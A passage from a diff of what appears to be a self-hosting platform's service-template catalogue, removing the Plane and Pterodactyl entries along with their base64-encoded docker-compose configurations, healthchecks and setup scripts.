fVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi41LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLW1xOgogICAgaW1hZ2U6ICdyYWJiaXRtcTozLjEzLjYtbWFuYWdlbWVudC1hbHBpbmUnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGVudmlyb25tZW50OgogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgdm9sdW1lczoKICAgICAgLSAncmFiYml0bXFfZGF0YTovdmFyL2xpYi9yYWJiaXRtcScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmFiYml0bXEtZGlhZ25vc3RpY3MgLXEgcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAzMHMKICAgICAgcmV0cmllczogMwogIHBsYW5lLW1pbmlvOgogICAgaW1hZ2U6ICdnaGNyLmlvL2Nvb2xsYWJzaW8vbWluaW86UkVMRUFTRS4yMDI1LTEwLTE1VDE3LTI5LTU1WicKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgL2V4cG9ydCAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwOTAiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAndXBsb2FkczovZXhwb3J0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
- "tags": [
- "plane",
- "project-management",
- "tool",
- "open",
- "source",
- "api",
- "nextjs",
- "redis",
- "postgresql",
- "django",
- "pm"
- ],
- "category": "productivity",
- "logo": "svgs/plane.svg",
- "minversion": "0.0.0"
- },
"plex": {
"documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io",
"slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.",
@@ -3858,38 +3822,6 @@
"minversion": "0.0.0",
"port": "9159"
},
- "pterodactyl-panel": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCg==",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80"
- },
- "pterodactyl-with-wings": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCiAgd2luZ3M6CiAgICBpbWFnZTogJ2doY3IuaW8vcHRlcm9kYWN0eWwvd2luZ3M6djEuMTIuMScKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMjAyMjoyMDIyJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVp